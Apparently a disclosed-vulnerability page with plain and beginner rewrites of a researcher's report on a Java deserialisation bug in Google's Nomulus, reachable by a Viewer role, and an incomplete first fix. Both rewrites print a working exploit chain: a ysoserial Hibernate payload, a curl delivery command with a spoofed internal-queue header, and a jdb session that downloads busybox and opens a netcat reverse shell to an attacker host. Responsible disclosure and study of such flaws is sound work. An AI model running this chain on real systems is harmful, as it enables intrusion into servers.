Skip to content
RCE Write-up Advanced

The original submission

A Java deserialization flaw in Nomulus's BigQuery poll job action allowed an attacker with a low-privileged App Engine viewer role to execute arbitrary code. The initial fix only changed the authorization check, which could be bypassed by setting a header, so the exploit still worked until a second fix.

Imre Rad Follow

Published on irsl.medium.com

In the middle of 2020, I decided to look for vulnerabilities in some open source products of Google. They have many such projects, a public inventory of them can be found at https://opensource.google/.

Imre Rad, on irsl.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

Nomulus is Google's open source top level domain name registry solution. It is described as a "scalable, cloud-based service for operating top-level domains (TLDs)" and is the authoritative source for the TLDs it runs: it tracks domain name ownership and handles registrations, renewals, availability checks and WHOIS requests. End-user registrants interact with the registry through an intermediate registrar acting on their behalf. The application runs on App Engine, and the same product is also used internally by Google; it is, in fact, the software behind servicing the .google TLD.

Among its features, Nomulus integrates with BigQuery for some reporting workloads. Those tasks are executed asynchronously as App Engine tasks. One of them is BigqueryPollJobAction, which expects a serialised Java stream in the request body.

Setup

The research started in the middle of 2020, when the researcher decided to look for vulnerabilities in Google's open source products, using the public inventory at https://opensource.google/. A background in the domain registration business led to the choice of Nomulus.

The attack scenario assumes an attacker who holds the Viewer role on the App Engine project. In App Engine's model, "admin" includes all project owners, editors and viewers, so a viewer is treated as an admin by the framework. The researcher notes that Google's VRP team accepts submissions where the attack is started as a viewer and accomplishes something it is not supposed to.

Tools used:

  • The ysoserial project to generate the deserialisation payload, with pom.xml modified to depend on Hibernate core 5.4.4.
  • jdb, the Java debugger, to catch the JDWP connection and turn it into a shell.
  • curl to deliver the payload.
  • A browser session authenticated as the viewer-role user, to obtain the SACSID cookie.

A test project named nomulus-test-20210101 is used throughout. The current version of Nomulus depends on Hibernate 5.4.23, but the payload generated against 5.4.4 works perfectly fine.

Finding it

While reviewing the source code, the researcher quickly identified a potential Java deserialisation flaw. The BigqueryPollJobAction task expects a serialised Java stream in the HTTP request body and processes it via the standard ObjectInputStream:

Text
https://github.com/google/nomulus/blob/master/core/src/main/java/google/registry/export/BigqueryPollJobAction.java

Since Hibernate is on the class path, this can be turned into remote code execution.

The action is protected by Auth.AUTH_INTERNAL_OR_ADMIN authorization, documented in the project's authentication framework docs:

Text
https://github.com/google/nomulus/blob/master/docs/authentication-framework.md

The documentation describes the policy as follows:

AUTH_INTERNAL_OR_ADMIN: Allow access only by admin users or internal requests. This is appropriate for actions that should only be accessed by someone trusted (as opposed to anyone with a Google login). This currently allows only the INTERNAL and API methods, meaning that an admin user cannot authenticate themselves via the legacy authentication mechanism, which is used only for the registrar console. The minimum level is APP, because we don't require a user for internal requests, but the user policy is ADMIN, meaning that if there is a user, it needs to be an admin.

At first the researcher set this aside: the method was bound to the "AppEngine admin" role, and even after learning that App Engine's concept of an "admin" includes all project owners, editors and viewers, it did not feel like a valid attack scenario, so the exploitability was not verified at that point.

Work resumed in the first days of 2021, after learning that the VRP team accepts submissions where the attack starts as a viewer. The suspicion was then confirmed and a bug ticket was filed on 5 January 2021.

The project authors had considered the problem to some degree. The comments in AppEngineInternalAuthenticationMechanism.java say:

Text
 * App Engine allows app admins to set these headers for testing purposes. This means that this auth
 * method is somewhat unreliable — any app admin can access any internal endpoint and pretend to be
 * the app itself by setting these headers, which would circumvent any finer-grained authorization
 * if we added it in the future (assuming we did not apply it to the app itself). And App Engine's
 * concept of an "admin" includes all project owners, editors and viewers. So anyone with access to
 * the project will be able to access anything the app itself can access.

So the question posed in the submission was: according to the risk assessment methodology, does it pose a security risk if a user with a viewer role can spawn a remote shell, because that is possible today.

Exploitation

Step 1: generate the Hibernate payload

The payload that drives Hibernate into executing commands is generated with ysoserial, after modifying pom.xml to depend on hibernate core 5.4.4:

The gadget chain is Hibernate1, and the command it carries launches a Java VM with the JDWP agent, loading the JDWP transport and connecting back to the attacker's listener on port 8000. The output is written to Hibernate1-544-4.pl.

Step 2: start the JDWP listener

The listener side of the JDWP connection is started with:

Bash
jdb -connect com.sun.jdi.SocketListen:port=8000

Step 3: prepare helper variables

Bash
export NOMULUS_PROJECT_NAME=nomulus-test-20210101
export NOMULUS_BACKEND_HOST="backend-dot-$NOMULUS_PROJECT_NAME.ew.r.appspot.com"

Step 4: obtain an authenticated session

Visit https://$NOMULUS_BACKEND_HOST/ in the browser as the user with the viewer role, then copy out the SACSID cookie:

Bash
export COOKIE=SACSID=...

Step 5: find a valid BigQuery job ID

Open BigQuery in the Cloud Console, go to the job history menu and the project history tab. There should be some jobs that completed successfully; this matters because the action verifies that. In the job details, the Job ID looks like:

Text
Job ID: nomulus-test-20210101:US.load-backup-111-Registrar

The string after the country code is what is needed:

Bash
export BIGQUERY_JOB_ID=load-backup-111-Registrar

Since the initial assumption is that the attacker has the viewer role on the project, this information can be obtained easily.

Step 6: deliver the payload

The final command triggers the exploit:

Bash
curl -v -H "X-AppEngine-QueueName: foo" -H "X-DomainRegistry-ProjectId: $NOMULUS_PROJECT_NAME" -H "X-DomainRegistry-JobId: $BIGQUERY_JOB_ID" -H "Cookie: $COOKIE" --data-binary @Hibernate1-544-4.pl "https://$NOMULUS_BACKEND_HOST/_dr/task/pollBigqueryJob"

The request goes to the task endpoint /_dr/task/pollBigqueryJob. The request carries the X-AppEngine-QueueName header, the two X-DomainRegistry-* headers, the viewer's cookie and the payload file as the body.

Two outcomes help with debugging: error 304 means the specified JobId was invalid, and a quick "OK" means the job did not succeed, so the malicious payload was not processed.

Step 7: catch the JDWP session

The JDB session looks something like this:

Text
C:\Program Files\Java\jdk1.8.0_231\bin>jdb -connect com.sun.jdi.SocketListen:port=8000
Listening at address: DESKTOP-43RNLKU:8000
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
>
VM Started: No frames on the current call stack

main[1]

Step 8: turn the debugger session into a reverse shell

Once a jdb session is up, it can be turned into a more convenient reverse shell with the following steps:

The commands set a breakpoint on java.lang.Object.equals, resume the VM, clear the breakpoint, then evaluate the download and execution expressions. The eval calls download a file from the given URL to /tmp/sh and /tmp/nc, mark both executable, and run /tmp/nc back to the attacker with /tmp/sh attached.

On the other side:

The researcher notes this is still not perfect because the command aliases are missing, but it proves the concept.

On the risk question, the researcher adds one more thought: not even project editors should be able to obtain a reverse shell in their App Engine application, as that would make it possible to circumvent audit related requirements.

Root cause

The core mistake is deserializing untrusted input: BigqueryPollJobAction reads the request body with the standard ObjectInputStream, and with Hibernate on the class path this can be turned into remote code execution.

The action was protected by the authorization annotation. Auth.AUTH_INTERNAL_OR_ADMIN was intended to restrict the action to trusted callers, but in App Engine "admin" includes viewers, editors and owners, so any user with a project level role could reach the endpoint. The project's own comments acknowledge that App Engine lets app admins set the internal headers for testing, which makes the internal authentication mechanism unreliable: any app admin can access any internal endpoint and pretend to be the app itself.

Impact

An attacker holding the Viewer role on the App Engine project could send a crafted serialised stream to the BigQuery poll task and obtain remote code execution, in practice a reverse shell, inside the application. The researcher argues that even project editors should not be able to obtain a reverse shell in their App Engine application, because that would make it possible to circumvent audit related requirements. The scenario requires a project level role and a successfully completed BigQuery job whose ID the attacker can read, which a viewer can obtain easily.

Fix

When the automated email claimed the bug had been resolved, the researcher checked the repository. The commit was:

Text
https://github.com/google/nomulus/commit/[redacted]

The ObjectInputStream was still there in BigqueryPollJobAction.java; only the authorization annotation of the class had been changed to Auth.AUTH_INTERNAL_ONLY. The implementation of "Internal Only auth" in AppEngineInternalAuthenticationMechanism.java does nothing more than check the presence of the X-AppEngine-QueueName header, so a viewer could still abuse the system by sending a request with that header set.

To verify, the researcher went through the painful deployment process of the service once again using the head of the official repo, and found the original exploit still worked; the only change was the IP address to connect back to. A second ticket was filed, it was accepted, and the original reward was doubled overall. The final fix is:

Text
https://github.com/google/nomulus/commit/[redacted]

Timeline:

Date Event
5 January 2021 Bug ticket filed
12 January 2021 "Nice catch!"
22 February 2021 "Our systems show that all the bugs we decided to create based on your report have been fixed."
22 February 2021 New ticket filed
5 March 2021 "Thanks a lot! I've reopened the internal bug."
9 April 2021 "Our systems show that all the bugs we decided to create based on your report have been fixed."

Variants to test

  • Other task endpoints that read a body with ObjectInputStream. Search the codebase for ObjectInputStream and for task handlers that accept serialised state. A positive result is a task endpoint reachable with a project level role whose body is deserialised without a class filter.
  • Authorization annotations that map to App Engine admin. Look for AUTH_INTERNAL_OR_ADMIN or similar policies on sensitive actions. A positive result is an action that a viewer can invoke and that performs a privileged operation.
  • Header based internal authentication. Any check that trusts a header such as X-AppEngine-QueueName alone. A positive result is a request from a viewer-role session with that header set reaching an internal-only handler.
  • Gadget chains against the deployed dependency versions. Generate payloads for the Hibernate version actually in use, not only the one in the build file. A positive result is a JDWP or other callback arriving at the listener.
  • Job and resource identifiers readable by low-privilege roles. Check whether a viewer can enumerate identifiers that the vulnerable action validates against, such as BigQuery job IDs. A positive result is a valid identifier obtained without elevated rights, which is the precondition for the payload to be processed.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

What happened, in plain words

Google publishes a lot of its software as open source, meaning anyone can read the code. One of those projects is called Nomulus. It is the software that runs domain name registries: the systems that keep track of who owns which domain name, handle renewals, answer "is this name free?" questions, and respond to WHOIS lookups (the public directory of who owns a domain). Nomulus runs on Google's cloud platform, App Engine, and Google also uses it internally. In fact it is the software behind the .google top-level domain.

A security researcher read the Nomulus code and spotted a dangerous pattern: one part of the application accepted a blob of data from an incoming web request and turned it back into live Java objects without checking what was inside. In the wrong hands, that kind of feature can be abused to make the server run commands of the attacker's choosing. The only thing standing in the way was an access rule saying "only admins". The catch: on App Engine, "admin" is a much wider group than it sounds. It includes people with the lowest project role, called Viewer, who are only supposed to be able to look at things, not change them.

The researcher first set the finding aside because he thought "only admins" made it unrealistic. Later he learned that Google's bug bounty programme (the scheme that pays people for reporting security flaws) does accept reports where the attacker starts as a mere Viewer. He confirmed the flaw, reported it in January 2021, and demonstrated a full remote shell. Google marked it fixed. He checked the fix, found it did not actually close the hole, reported it again, and that second report was accepted too, doubling the reward.

This article walks through the whole story slowly, explaining every term as it comes up.

Background: what Nomulus is and why it matters

Nomulus is described as a "scalable, cloud-based service for operating top-level domains (TLDs)". A top-level domain is the last part of a web address, like .com, .org or .google. A registry is the organisation (or software) that is the authoritative source for a TLD: it is the single place that knows who owns each name, and it handles registrations, renewals, availability checks and WHOIS requests.

People and companies do not usually talk to a registry directly. They go through a registrar, a company that acts on their behalf. Think of the registry as the land registry office and the registrar as the estate agent who fills in the paperwork for you.

Nomulus runs on App Engine, Google's service for running web applications in the cloud without managing servers yourself. Among its features, Nomulus talks to BigQuery, Google's system for analysing very large amounts of data. Some reporting work is done in the background, asynchronously, as App Engine tasks. One of those background tasks is called BigqueryPollJobAction, and it expects a serialised Java stream in the request body.

The setup: who the attacker is and what tools are used

The research began in the middle of 2020. The researcher wanted to look for vulnerabilities in Google's open source products and used the public inventory at https://opensource.google/ to pick one. His background in the domain registration business led him to Nomulus.

The attack scenario assumes an attacker who holds the Viewer role on the App Engine project. A role is a label that says what a person is allowed to do. On App Engine, the framework's idea of an "admin" includes all project owners, editors and viewers. So a Viewer, who is meant to be read-only, is treated by the framework as an admin. The researcher notes that Google's bug bounty team (VRP, the Vulnerability Reward Program) accepts submissions where the attack starts as a viewer and accomplishes something it is not supposed to.

The tools used were:

  • The ysoserial project, a well-known tool that builds malicious serialised payloads, with pom.xml (the build configuration file) modified to depend on Hibernate core 5.4.4.
  • jdb, the Java debugger, to catch the incoming debug connection and turn it into a shell.
  • curl, a command-line tool for sending web requests, to deliver the payload.
  • A browser session logged in as the viewer-role user, to obtain the SACSID cookie.

A test project named nomulus-test-20210101 is used throughout. The current version of Nomulus depends on Hibernate 5.4.23, but the payload generated against 5.4.4 works perfectly fine.

Finding it: the dangerous pattern in the code

While reading the source code, the researcher quickly identified a potential Java deserialisation flaw. Let us unpack that phrase.

Serialisation is turning a live object in a program into a stream of bytes so it can be stored or sent over a network. Deserialisation is the reverse: turning that stream of bytes back into a live object. It is like packing furniture into a box and later unpacking it. The danger is that if you accept a box from a stranger and unpack it without checking, the box might contain something you did not expect. In Java, a maliciously crafted byte stream can, when deserialised, cause the program to run code chosen by whoever built the stream. That is the vulnerability class here: insecure deserialisation.

The BigqueryPollJobAction task expects a serialised Java stream in the HTTP request body and processes it via the standard ObjectInputStream:

Text
https://github.com/google/nomulus/blob/master/core/src/main/java/google/registry/export/BigqueryPollJobAction.java

This is the file where the problem lives. ObjectInputStream is the standard Java class for reading serialised objects back in. The request body is the part of a web request that carries data, as opposed to the address or the headers. So the task takes whatever bytes arrive in the body and turns them back into Java objects.

Since Hibernate is on the class path, this can be turned into remote code execution. Hibernate is a popular library that Java applications use to talk to databases. Class path is the list of libraries a Java program has loaded and can use. Remote code execution (RCE) means an attacker can make the server run commands of their choosing. Because Hibernate is on the class path, the crafted stream can be turned into remote code execution.

The action is protected by Auth.AUTH_INTERNAL_OR_ADMIN authorization, documented in the project's authentication framework docs:

Text
https://github.com/google/nomulus/blob/master/docs/authentication-framework.md

Authorization is the rule that decides who is allowed to do what. The documentation describes the policy as follows:

AUTH_INTERNAL_OR_ADMIN: Allow access only by admin users or internal requests. This is appropriate for actions that should only be accessed by someone trusted (as opposed to anyone with a Google login). This currently allows only the INTERNAL and API methods, meaning that an admin user cannot authenticate themselves via the legacy authentication mechanism, which is used only for the registrar console. The minimum level is APP, because we don't require a user for internal requests, but the user policy is ADMIN, meaning that if there is a user, it needs to be an admin.

In plain words: this rule says the action may be reached either by an internal request (one coming from inside the application itself) or by an admin user. The quote is the project's own description of that rule.

At first the researcher set this aside: the method was bound to the "AppEngine admin" role, and even after learning that App Engine's concept of an "admin" includes all project owners, editors and viewers, it did not feel like a valid attack scenario, so the exploitability was not verified at that point. In other words, he thought "only admins can reach this, so it is not a real attack".

Work resumed in the first days of 2021, after learning that the VRP team accepts submissions where the attack starts as a viewer. The suspicion was then confirmed and a bug ticket was filed on 5 January 2021. A bug ticket is the report filed in a tracking system describing the problem.

The project authors had considered the problem to some degree. The comments in AppEngineInternalAuthenticationMechanism.java say:

Text
 * App Engine allows app admins to set these headers for testing purposes. This means that this auth
 * method is somewhat unreliable — any app admin can access any internal endpoint and pretend to be
 * the app itself by setting these headers, which would circumvent any finer-grained authorization
 * if we added it in the future (assuming we did not apply it to the app itself). And App Engine's
 * concept of an "admin" includes all project owners, editors and viewers. So anyone with access to
 * the project will be able to access anything the app itself can access.

This is a comment in the code itself. It says that App Engine lets app admins set certain headers (extra pieces of information attached to a web request) for testing, which makes the internal authentication method unreliable: any app admin can reach any internal endpoint and pretend to be the app itself. And since App Engine's idea of "admin" includes owners, editors and viewers, anyone with access to the project can reach anything the app itself can reach.

So the question posed in the submission was: according to the risk assessment methodology, does it pose a security risk if a user with a viewer role can spawn a remote shell, because that is possible today. A remote shell is a command prompt on the victim's machine that the attacker controls from their own computer.

Exploitation: step by step

Step 1: generate the Hibernate payload

The payload that drives Hibernate into executing commands is generated with ysoserial, after modifying pom.xml to depend on hibernate core 5.4.4:

Line by line:

  • java runs the Java runtime.
  • -Dhibernate5=true sets a system property telling ysoserial to use its Hibernate 5 mode.
  • -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar runs the ysoserial program from its built jar file (a jar is a packaged Java application).
  • Hibernate1 is the name of the gadget chain to build.
  • The quoted string is the command the payload will run on the victim: it launches a Java VM with the JDWP agent, which connects back to the attacker's listener on port 8000. JDWP is the Java Debug Wire Protocol, the protocol Java uses for debugging; if an attacker can make the server open a debug connection back to them, they effectively get a debugger attached to the server.
  • > Hibernate1-544-4.pl writes the output to a file named Hibernate1-544-4.pl.

The gadget chain is Hibernate1, and the command it carries launches a Java VM with the JDWP agent, loading the JDWP transport and connecting back to the attacker's listener on port 8000. The output is written to Hibernate1-544-4.pl.

Step 2: start the JDWP listener

The listener side of the JDWP connection is started with:

Bash
jdb -connect com.sun.jdi.SocketListen:port=8000

jdb is the Java debugger. -connect com.sun.jdi.SocketListen:port=8000 tells it to listen on port 8000 for an incoming debug connection. The attacker runs this on their own machine and waits for the victim server to call back.

Step 3: prepare helper variables

Bash
export NOMULUS_PROJECT_NAME=nomulus-test-20210101
export NOMULUS_BACKEND_HOST="backend-dot-$NOMULUS_PROJECT_NAME.ew.r.appspot.com"

export sets an environment variable, a named value the shell remembers for later commands. The first line stores the test project name. The second builds the hostname of the backend service from it. This is just bookkeeping so the later commands are shorter and less error-prone.

Step 4: obtain an authenticated session

Visit https://$NOMULUS_BACKEND_HOST/ in the browser as the user with the viewer role, then copy out the SACSID cookie:

Bash
export COOKIE=SACSID=...

A cookie is a small piece of data the browser stores for a website and sends back with every request. It is how a website remembers that you are logged in. SACSID is the name of the cookie Google uses for an authenticated session. By logging in as the viewer in a browser and copying the cookie, the attacker can later send requests that the server treats as coming from that logged-in viewer.

Step 5: find a valid BigQuery job ID

Open BigQuery in the Cloud Console, go to the job history menu and the project history tab. There should be some jobs that completed successfully; this matters because the action verifies that. In the job details, the Job ID looks like:

Text
Job ID: nomulus-test-20210101:US.load-backup-111-Registrar

The string after the country code is what is needed:

Bash
export BIGQUERY_JOB_ID=load-backup-111-Registrar

A job ID is the identifier of a unit of work in BigQuery. The action checks that the job it is asked about actually succeeded, so the attacker needs a real, successful job ID. The format shown has the project name, a colon, a country code (US), and then the job identifier. The part after the country code is what the action expects.

Since the initial assumption is that the attacker has the viewer role on the project, this information can be obtained easily. A viewer can read the job history in the console, so finding a valid ID is not a barrier.

Step 6: deliver the payload

The final command triggers the exploit:

Bash
curl -v -H "X-AppEngine-QueueName: foo" -H "X-DomainRegistry-ProjectId: $NOMULUS_PROJECT_NAME" -H "X-DomainRegistry-JobId: $BIGQUERY_JOB_ID" -H "Cookie: $COOKIE" --data-binary @Hibernate1-544-4.pl "https://$NOMULUS_BACKEND_HOST/_dr/task/pollBigqueryJob"

Line by line:

  • curl is the command-line web client.
  • -v means verbose: show the details of the request and response, useful for debugging.
  • -H "X-AppEngine-QueueName: foo" adds a header named X-AppEngine-QueueName with the value foo.
  • -H "X-DomainRegistry-ProjectId: $NOMULUS_PROJECT_NAME" adds the project name header.
  • -H "X-DomainRegistry-JobId: $BIGQUERY_JOB_ID" adds the job ID header.
  • -H "Cookie: $COOKIE" sends the viewer's session cookie.
  • --data-binary @Hibernate1-544-4.pl sends the contents of the payload file as the request body, byte for byte.
  • The URL is the task endpoint /_dr/task/pollBigqueryJob on the backend host.

The request goes to the task endpoint /_dr/task/pollBigqueryJob. The X-AppEngine-QueueName header makes the request look like an internal App Engine task, the two X-DomainRegistry-* headers supply the project name and the job ID, the cookie carries the viewer's session, and the body is the serialised ysoserial payload.

Two outcomes help with debugging: error 304 means the specified JobId was invalid, and a quick "OK" means the job did not succeed, so the malicious payload was not processed.

Step 7: catch the JDWP session

The JDB session looks something like this:

Text
C:\Program Files\Java\jdk1.8.0_231\bin>jdb -connect com.sun.jdi.SocketListen:port=8000
Listening at address: DESKTOP-43RNLKU:8000
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
>
VM Started: No frames on the current call stack

main[1]

This is the output of the debugger on the attacker's machine. It shows jdb starting, listening on port 8000, initialising, and then reporting that a VM has connected (VM Started). The output shows jdb starting, listening on port 8000, initialising, and then reporting that a VM has connected (VM Started).

Step 8: turn the debugger session into a reverse shell

Once a jdb session is up, it can be turned into a more convenient reverse shell with the following steps:

Line by line:

  • stop in java.lang.Object.equals sets a breakpoint: the debugger will pause the program when it reaches the equals method of the Object class. A breakpoint is a marker that tells the debugger to stop at a particular point so the attacker can inspect and control the program.
  • run resumes the program so it reaches that breakpoint.
  • clear java.lang.Object.equals removes the breakpoint again, so the program is not paused repeatedly.
  • eval java.lang.Class.forName("java.nio.channels.Channels") loads a Java class named Channels, which is used for reading and writing data streams. eval means "evaluate this expression in the paused program".
  • The next eval downloads a file from https://some/place/with/static/busybox and writes it to /tmp/sh on the victim. The code opens a file output stream to /tmp/sh and copies the bytes from the URL into it.
  • eval new java.io.File("/tmp/sh").setExecutable(true, false) marks /tmp/sh as executable, so it can be run.
  • The next two eval lines do the same for /tmp/nc, downloading the file again and marking it executable.
  • The final eval runs /tmp/nc attackerdomain.tld 51111 -e /tmp/sh: it connects to the attacker's host on port 51111 and attaches /tmp/sh (the shell) to that connection. .waitFor() makes the debugger wait for the command to finish.

A breakpoint is set on java.lang.Object.equals and the VM is resumed so the debugger has a frame to evaluate expressions in, then the breakpoint is cleared. The eval calls download a static busybox binary to /tmp/sh and /tmp/nc, mark both executable, and finally run netcat back to the attacker with a shell attached.

On the other side:

This is the attacker's own machine. nc -v -l -p 51111 starts netcat in listening mode on port 51111. The output shows it listening, then a connection arriving.

The researcher notes this is still not perfect because the command aliases are missing, but it proves the concept.

On the risk question, the researcher adds one more thought: not even project editors should be able to obtain a reverse shell in their App Engine application, as that would make it possible to circumvent audit related requirements. Audit requirements are rules that say certain actions must be logged and reviewable.

Root cause: why it worked

The core mistake is deserializing untrusted input: BigqueryPollJobAction reads the request body with the standard ObjectInputStream, and with Hibernate on the class path the stream can carry a gadget chain that ends in command execution. In everyday terms: the application accepted a parcel from anyone and unpacked it without checking, and the parcel could contain a booby trap that runs a command.

The action was protected by the authorization annotation. Auth.AUTH_INTERNAL_OR_ADMIN was intended to restrict the action to trusted callers, but in App Engine "admin" includes viewers, editors and owners, so any user with a project level role could reach the endpoint. The project's own comments acknowledge that App Engine lets app admins set the internal headers for testing, which makes the internal authentication mechanism unreliable: any app admin can access any internal endpoint and pretend to be the app itself.

Impact: what an attacker could do

An attacker holding the Viewer role on the App Engine project could send a crafted serialised stream to the BigQuery poll task and obtain remote code execution, in practice a reverse shell, inside the application. The researcher argues that even project editors should not be able to obtain a reverse shell in their App Engine application, because that would make it possible to circumvent audit related requirements. The scenario requires a project level role and a successfully completed BigQuery job whose ID the attacker can read, which a viewer can obtain easily.

The fix that was not a fix

When the automated email claimed the bug had been resolved, the researcher checked the repository. The commit was:

Text
https://github.com/google/nomulus/commit/[redacted]

A commit is a recorded change to a code repository. The ObjectInputStream was still there in BigqueryPollJobAction.java; only the authorization annotation of the class had been changed to Auth.AUTH_INTERNAL_ONLY. In other words, the dangerous unpacking code was untouched; only the label saying who could reach it had changed.

The implementation of "Internal Only auth" in AppEngineInternalAuthenticationMechanism.java does nothing more than check the presence of the X-AppEngine-QueueName header, so a viewer could still abuse the system by sending a request with that header set. The implementation of "Internal Only auth" does nothing more than check the presence of the X-AppEngine-QueueName header.

To verify, the researcher went through the painful deployment process of the service once again using the head of the official repo, and found the original exploit still worked; the only change was the IP address to connect back to. A second ticket was filed, it was accepted, and the original reward was doubled overall. The final fix is:

Text
https://github.com/google/nomulus/commit/[redacted]

Timeline:

Date Event
5 January 2021 Bug ticket filed
12 January 2021 "Nice catch!"
22 February 2021 "Our systems show that all the bugs we decided to create based on your report have been fixed."
22 February 2021 New ticket filed
5 March 2021 "Thanks a lot! I've reopened the internal bug."
9 April 2021 "Our systems show that all the bugs we decided to create based on your report have been fixed."

Variants to test: where else to look

These are the kinds of things a researcher would check next, in the same spirit as the original finding.

  • Other task endpoints that read a body with ObjectInputStream. Search the codebase for ObjectInputStream and for task handlers that accept serialised state. A positive result is a task endpoint reachable with a project level role whose body is deserialised without a class filter. A class filter is a rule that only allows certain classes to be deserialised, blocking the dangerous ones.
  • Authorization annotations that map to App Engine admin. Look for AUTH_INTERNAL_OR_ADMIN or similar policies on sensitive actions. A positive result is an action that a viewer can invoke and that performs a privileged operation.
  • Header based internal authentication. Any check that trusts a header such as X-AppEngine-QueueName alone. A positive result is a request from a viewer-role session with that header set reaching an internal-only handler.
  • Gadget chains against the deployed dependency versions. Generate payloads for the Hibernate version actually in use, not only the one in the build file. A positive result is a JDWP or other callback arriving at the listener.
  • Job and resource identifiers readable by low-privilege roles. Check whether a viewer can enumerate identifiers that the vulnerable action validates against, such as BigQuery job IDs. A positive result is a valid identifier obtained without elevated rights, which is the precondition for the payload to be processed.

Glossary

  • API: Application Programming Interface, a defined way for one program to talk to another.
  • App Engine: Google's cloud service for running web applications without managing servers yourself.
  • Asynchronous: work that happens in the background, not blocking the main request.
  • Audit requirements: rules that say certain actions must be logged and reviewable.
  • Authorization: the rule that decides who is allowed to do what.
  • BigQuery: Google's system for analysing very large amounts of data.
  • Breakpoint: a marker that tells a debugger to pause the program at a particular point.
  • Bug bounty / VRP: a programme that pays people for reporting security flaws; VRP is Google's Vulnerability Reward Program.
  • Bug ticket: the report filed in a tracking system describing a problem.
  • busybox: a small program that bundles many common Unix utilities, including a shell.
  • Class filter: a rule that only allows certain classes to be deserialised, blocking dangerous ones.
  • Class path: the list of libraries a Java program has loaded and can use.
  • Command aliases: shortcuts like ls or cd that a normal shell provides.
  • Commit: a recorded change to a code repository.
  • Cookie: a small piece of data the browser stores for a website and sends back with every request; used to remember that you are logged in.
  • curl: a command-line tool for sending web requests.
  • Deserialisation: turning a stream of bytes back into a live object in a program.
  • Environment variable: a named value the shell remembers for later commands.
  • Gadget chain: a chain of objects that, when deserialised, ends up executing a command.
  • Header: extra piece of information attached to a web request or response.
  • Hibernate: a popular Java library for talking to databases.
  • Insecure deserialisation: the vulnerability class where untrusted serialised data is turned back into objects without checks, allowing code execution.
  • Jar: a packaged Java application.
  • Java: a programming language and runtime used by many server applications.
  • jdb: the Java debugger.
  • JDWP: the Java Debug Wire Protocol, used for debugging Java programs.
  • Job ID: the identifier of a unit of work in BigQuery.
  • netcat (nc): a tool that can open network connections and pipe a shell through them.
  • ObjectInputStream: the standard Java class for reading serialised objects back in.
  • pom.xml: the build configuration file for a Java project.
  • Registrar: a company that acts on behalf of registrants to interact with a registry.
  • Registry: the authoritative system that tracks who owns each domain name in a TLD.
  • Remote code execution (RCE): an attacker can make the server run commands of their choosing.
  • Remote shell: a command prompt on the victim's machine that the attacker controls from their own computer.
  • Reverse shell: a shell on the victim that connects back to the attacker.
  • Role: a label that says what a person is allowed to do.
  • SACSID: the name of the cookie Google uses for an authenticated session.
  • Serialisation: turning a live object in a program into a stream of bytes.
  • TLD (top-level domain): the last part of a web address, like .com or .google.
  • Viewer: the lowest project role on App Engine, meant to be read-only.
  • WHOIS: the public directory of who owns a domain.
  • ysoserial: a tool that builds malicious serialised payloads.

More by Imre Rad

View all

9 more disclosed reports, best first.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.